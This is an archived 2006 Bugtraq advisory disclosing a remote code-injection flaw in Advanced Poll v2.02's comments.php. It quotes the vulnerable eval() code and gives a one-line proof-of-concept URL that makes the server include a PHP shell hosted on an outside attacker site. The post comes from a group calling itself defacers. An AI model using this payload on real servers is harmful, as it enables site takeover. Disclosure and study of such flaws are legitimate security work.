lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20061008143029.21600.qmail@securityfocus.com>
Date: 8 Oct 2006 14:30:29 -0000
From: alguidy@...mail.com
To: bugtraq@...urityfocus.com
Subject: Advanced Poll v2.02 :)  <= Remote File Inclusion

+--------------------------------------------------------------------
+
+ Advanced Poll v2.02 :)  <= Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: Advanced Poll v2.02
+ Venedor ...........: http://www.proxy2.de
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Pro Hacker
+ Original advisory .: http://www.sec-area.com/ http://www.worlddefacers.de/ 
+ Contact ...........: alguidy[at]hotmail[.]com
+
+--------------------------------------------------------------------
+
+ Code comments.php:
+
+ .....
+ $register_poll_vars = array("id","template_set","action");
+ for ($i=0;$i<sizeof($register_poll_vars);$i++) {
+     if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) {
+         eval("\$$register_poll_vars[$i] =
\"".trim($HTTP_POST_VARS[$register_poll_vars+ [$i]])."\";");
+     } elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) {
+         eval("\$$register_poll_vars[$i] =
\"".trim($HTTP_GET_VARS[$register_poll_vars+ [$i]])."\";");
+     } else {
+         eval("\$$register_poll_vars[$i] + '';");
+     }
+ }
+ .....
+
+ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+ PoC:
+ Place a PHPShell on a remote location:
+ http://sec-area.com/sh.txt?
+
+
+ http://[target]/poll/comments.php?id={${include($ddd)}}{${exit()}}&ddd=Http://EvilShell
+
+--------------------------------------------------------------------
+ [W]orld [D]efacers [T]eam
+ Greets:
+ || rUnViRuS || - || papipsycho || - || HeX || - || Linux Master || BLaCKWHITE
||
+ || P-r-O H-a-C-k-E-r-S ||
+
+-------------------------[ W D T ]----------------------------------

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ